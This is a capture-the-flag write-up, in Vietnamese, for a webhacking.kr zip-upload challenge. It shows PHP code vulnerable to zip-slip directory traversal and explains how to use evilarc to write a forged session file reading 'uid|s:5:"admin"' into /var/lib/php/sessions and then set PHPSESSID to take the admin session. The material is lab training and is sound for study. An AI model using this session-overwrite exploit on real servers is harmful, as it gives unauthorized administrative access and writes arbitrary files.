# Zip attack
Link lab: [http://webhacking.kr:10015/](https://)
#### Source code
```
<?php
session_start();
if(!$_SESSION['uid']) $_SESSION['uid'] = "guest";
if($_SESSION['uid'] == "admin") include "/flag";
if($_FILES['upload']){
$path = $_FILES['upload']['tmp_name'];
$zip = new ZipArchive;
if ($zip->open($_FILES['upload']['tmp_name']) === true){
for($i = 0; $i < $zip->numFiles; $i++){
$filename = $zip->getNameIndex($i);
$filename_ = $filename.rand(10000000,99999999);
if(strlen($filename) > 240) exit("file name too long");
if(preg_match('/[\x00-\x1F\x7F-\xFF]/',$filename)) exit("no hack");
if(copy("zip://{$_FILES['upload']['tmp_name']}#{$filename}", "./upload/{$filename_}")) echo "{$filename_} uploaded.<br>";
else echo "{$filename_} upload failed.<br>";
}
$zip->close();
}
}
highlight_file(__FILE__);
?><hr><form enctype="multipart/form-data" method="post">
<input name="upload" type="file" />
<input type="submit">
</form>
```
Phân tích sơ qua src thì đây là chức năng upload file zip.
-Do `if ($zip->open($_FILES['upload']['tmp_name']) === true)` nên ta chỉ có thể upload được file zip.
-Sau khi upload lên file zip sẽ được mở ra, sau đó đổi tên file (`$filename_ = $filename.rand(10000000,99999999);`) rồi load từng file lên.
```
if(copy("zip://{$_FILES['upload']['tmp_name']}#{$filename}", "./upload/{$filename_}")) echo "{$filename_} uploaded.<br>";
else echo "{$filename_} upload failed.<br>";
```
Công dụng của hàm copy: [https://www.php.net/manual/en/function.copy.php](https://)
copy(nguồn, đích đến).
Ở đoạn code này, untrusted data $filename rơi vào vị trí xử lý đường dẫn gây ra lỗi **directory traversal**.
### (1)
--> Ta có thể copy nội dung của file ta upload lên vào bất kì file nào của hệ thống.
---
Để có được flag ta cần phải điều chỉnh uid của mình bằng "admin"
`if($_SESSION['uid'] == "admin") include "/flag";`
--> Chúng ta cần đi tìm hiểu cơ chế lưu session của php.
Tui tìm được thông tin khá thú vị dựa trên wu này :3 https://blog.christophetd.fr/write-insomnihack-2018-ctf-teaser/#Overwriting_PHP_session_file
> By default, PHP stores its sessions in a serialized format in the directory /var/lib/php/sessions, in a file named sess_[session ID].
Đồng thời trước khi lưu session thì session cũng được encoded như sau:
```
$ php -a
Interactive mode enabled
php > session_start();
php > $_SESSION['challenge'] = "pwned";
php > echo session_encode();
#challenge|s:5:"pwned";
```
Cấu trúc là `{tên session} | {độ dài}:"Thông tin session" `
Vậy sẽ ra sao nếu ta tạo một file với tên là đường dẫn đến vị trí file lưu session? Ok, let try.
Từ (1) ta có vd:
`copy("zip://{$_FILES['upload']['tmp_name']}#{/var/lib/php/sessions/sess_}", "./upload/{../../../var/lib/php/sessions/sess_xyz}")`
Do chúng ta không thể nào tạo file với tên gồm những kí tự đặc biệt như "/". Nên bạn cứ tạo file với tên bình thường rồi mở hex editor lên chỉnh lại tên (nhưng hơi cực à nha). Nên thôi xài tool cho nhanh :v
Tải tool https://github.com/ptoomey3/evilarc/blob/master/evilarc.pyvề và tạo file sess_ với nội dung:
```
uid|s:5:"admin"
```
sau đó chạy lệnh:
```
python evilarc.py -o unix sess_ -p "var/lib/php/sessions"
```
Ta sẽ nhận được file evil.zip giờ thì upload nó lên thôi.

Cuối cùng ta set trong cookie: PHPSESSID=24094577 và load lại trang để server dùng session này.
